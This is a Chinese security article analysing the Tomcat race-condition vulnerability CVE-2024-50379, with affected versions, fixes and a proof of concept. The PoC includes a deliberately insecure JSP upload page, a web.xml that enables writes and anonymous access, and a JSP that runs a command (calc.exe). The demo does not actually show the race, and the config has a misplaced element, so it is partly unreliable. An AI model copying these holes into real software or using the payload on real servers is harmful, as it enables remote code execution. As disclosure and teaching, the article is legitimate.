【PoC】CVE-2024-50379 (9.8)Tomcat竞态条件漏洞深度分析及 PoC

【PoC】CVE-2024-50379 (9.8)Tomcat竞态条件漏洞深度分析及 PoC

独眼情报 2024-12-26 09:33

应急响应比赛开始了,就差你了🐶

solarsec,公众号:solar应急响应团队第一届“Solar杯”·应急响应挑战赛比赛报名开始!

在网络安全领域不断发展的今天,及时发现并应对漏洞对保护敏感系统至关重要。最近,在全球使用最广泛的 Web 应用服务器之一 Apache Tomcat 中发现了一个关键安全漏洞 — CVE-2024-50379。这个漏洞的严重程度评分高达 9.8,存在重大风险,攻击者可能借此执行任意代码并入侵受影响的系统。

本文将深入探讨 CVE-2024-50379 的技术细节,包括其根本原因、潜在影响以及真实场景下的利用方式。为了更好地理解其影响,我们还将通过一个概念验证(POC)来演示攻击者如何在未修补的系统中利用这个漏洞。

读完本文后,您不仅能够深入理解这个漏洞,还能学习如何保护您的 Tomcat 部署免受这一重大威胁。让我们一起深入了解细节,武装自己以确保系统安全。

CVE-2024-50379:详细概述

漏洞描述

CVE-2024-50379 是一个在 Apache Tomcat 进行 JSP 编译时出现的检查时间与使用时间(TOCTOU)竞态条件漏洞。在特定条件下,这个漏洞可能导致在大小写不敏感的文件系统上实现远程代码执行(RCE)

要利用这个漏洞,默认 servlet 必须启用写入功能 — 这在默认配置中是未启用的。此漏洞影响以下 Apache Tomcat 版本:
11.0.0-M1 至 11.0.1

  • 10.1.0-M1 至 10.1.33

  • 9.0.0.M1 至 9.0.97

强烈建议升级到以下修复版本:
11.0.2

  • 10.1.34

  • 9.0.98

严重程度指标

虽然该漏洞尚在等待完整的 CVSS 4.0 严重程度评估,但其利用潜力突显了立即处理的重要性。高达 9.8 的严重程度评分凸显了其严重性,尤其是对那些配置错误的系统而言。

重要参考

更多详细信息,包括安全公告和缓解措施,可以在以下资源中找到:
– OpenWall 安全公告 — 2024年12月17日

  • OpenWall 安全公告 — 2024年12月18日

  • Apache Tomcat 官方公告

概念验证(POC)

为了演示 CVE-2024-50379 的利用过程,我们创建了一个受控场景,包括:
1. 向 Tomcat 服务器上传一个无害的 JSP 文件。

  1. 利用 TOCTOU 竞态条件,用恶意 JSP 文件覆盖它。

由于 Windows 是大小写不敏感的文件系统,file.jsp 和 FILE.JSP 被视为同一个文件。因此,当上传新文件时,旧文件会被直接替换。而在 Linux 中,由于它区分大小写,file.jsp 和 FILE.JSP 会被视为两个不同的文件。

免责声明:此演示仅用于教育目的,应在安全、隔离的实验环境中进行。切勿在生产环境中部署这种不安全的配置。

设置用于文件上传的 JSP 网页

我们创建一个简单的 JSP 网页(upload.jsp)用于向 Tomcat 服务器上传文件。

<%@ page import="java.io.*, java.util.*" %>
<%@ page import="javax.servlet.http.Part" %>
<!DOCTYPE html>
<html>
<head>
    <title>文件上传</title>
</head>
<body>
    <h1>上传 JSP 文件</h1>
    <form action="upload.jsp" method="post" enctype="multipart/form-data">
        <label for="file">选择 JSP 文件:</label>
        <input type="file" name="file" id="file" accept=".jsp"><br><br>
        <input type="submit" value="上传文件">
    </form><%
        if ("POST".equalsIgnoreCase(request.getMethod())) {
            Part filePart = request.getPart("file");
            String fileName = filePart.getSubmittedFileName();
            String uploadPath = application.getRealPath("/") + "uploads/";

            File uploadDir = new File(uploadPath);
            if (!uploadDir.exists()) uploadDir.mkdirs();

            try (InputStream inputStream = filePart.getInputStream();
                 FileOutputStream outputStream = new FileOutputStream(uploadPath + fileName)) {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = inputStream.read(buffer)) != -1) {
                    outputStream.write(buffer, 0, bytesRead);
                }
                out.println("<p>文件上传成功,路径:" + uploadPath + fileName + "</p>");
            } catch (Exception e) {
                out.println("<p>文件上传错误:" + e.getMessage() + "</p>");
            }
        }
    %>
</body>
</html>

这个 JSP 脚本:
– 接受上传的 .jsp 文件。

  • 将上传的文件保存到服务器根目录下的 uploads/ 目录中。

修改 web.xml 文件

要利用 CVE-2024-50379,可以通过修改 web.xml 文件来启用默认 Servlet 的写入权限以处理上传。这种错误配置允许攻击者上传恶意文件如 FILE.JSP,从而可能导致现有文件被意外替换。

在默认设置中,默认 Servlet 通常不允许写入访问。但是,当配置了错误的权限时,它会允许文件被覆盖,从而容易受到 TOCTOU 竞态条件的影响。

<!-- 用于利用 CVE-2024-50379 的 web.xml 配置示例 -->
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="3.0">

    <!-- 默认 Servlet 配置 -->
    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value> <!-- 错误配置:启用写入权限 -->
        </init-param>
        <init-param>
            <param-name>fileEncoding</param-name>
            <param-value>UTF-8</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/uploads/*</url-pattern>
    </servlet-mapping>

    <!-- 安全配置错误:允许 JSP 文件上传 -->
    <servlet>
        <servlet-name>FileUploadServlet</servlet-name>
        <jsp-file>/upload.jsp</jsp-file>
        <multipart-config>
            <location>/tmp</location> <!-- 临时上传目录 -->
            <max-file-size>5242880</max-file-size> <!-- 5 MB -->
            <max-request-size>10485760</max-request-size> <!-- 10 MB -->
            <file-size-threshold>1024</file-size-threshold> <!-- 1 KB -->
        </multipart-config>
    </servlet>

    <servlet-mapping>
        <servlet-name>FileUploadServlet</servlet-name>
        <url-pattern>/upload.jsp</url-pattern>
    </servlet-mapping>

    <!-- 启用目录浏览 -->
    <init-param>
        <param-name>listings</param-name>
        <param-value>true</param-value>
    </init-param>

    <!-- 应用安全约束(可选且配置错误) -->
    <security-constraint>
        <web-resource-collection>
            <web-resource-name>无限制上传</web-resource-name>
            <url-pattern>/uploads/*</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>*</role-name> <!-- 无限制,允许匿名访问 -->
        </auth-constraint>
    </security-constraint>

</web-app>

注意:只有在对 web.xml 文件配置进行特定修改时,才能利用此漏洞。默认情况下,Tomcat 的 DefaultServlet 中的 readonly 参数设置为 true,这会阻止写入操作。只有当此参数被明确设置为 false 时,才可能允许对 servlet 进行写入访问,从而使漏洞可被利用。请始终检查并确保服务器配置的安全性,以降低此类风险。

利用竞态条件

上传无害的 JSP 文件上传一个简单的 hello.jsp 文件,内容如下:

<% out.println("Hello, World!"); %>

创建恶意 JSP 文件准备一个用于利用漏洞的恶意 JSP 文件(HELLO.JSP):

<%@ page import="java.io.*" %>
<!DOCTYPE html>
<html>
<head>
    <title>Hello World JSP</title>
</head>
<body>
    <h1>Hello, World!</h1>
    <%
        try {
            // 执行命令打开计算器
            Process process = Runtime.getRuntime().exec("cmd /c start calc.exe");
            out.println("<p>如果服务器运行在 Windows 上,计算器已成功打开。</p>");
        } catch (Exception e) {
            out.println("<p>打开计算器时出错:" + e.getMessage() + "</p>");
        }
    %>
</body>
</html>

该文件会在执行时打开 Windows 计算器(calc.exe)。

使用脚本用恶意的 HELLO.JSP 覆盖无害的 hello.jsp。

触发漏洞访问 http://localhost:8080//uploads/hello.jsp 来触发恶意 JSP 的执行。

结果

  • 恶意 JSP 文件被执行,服务器上的计算器应用程序被打开(如果运行在 Windows 上)。

  • 这证明成功利用了竞态条件实现了远程代码执行。

缓解措施和要点

  • 安全的文件上传:避免允许将 JSP 文件直接上传到应用程序服务的目录。

  • 升级 Apache Tomcat:确保您的 Tomcat 服务器运行的是修补版本(如 11.0.2、10.1.34 或 9.0.98)。

  • 配置检查:禁用默认 Servlet 的写入权限。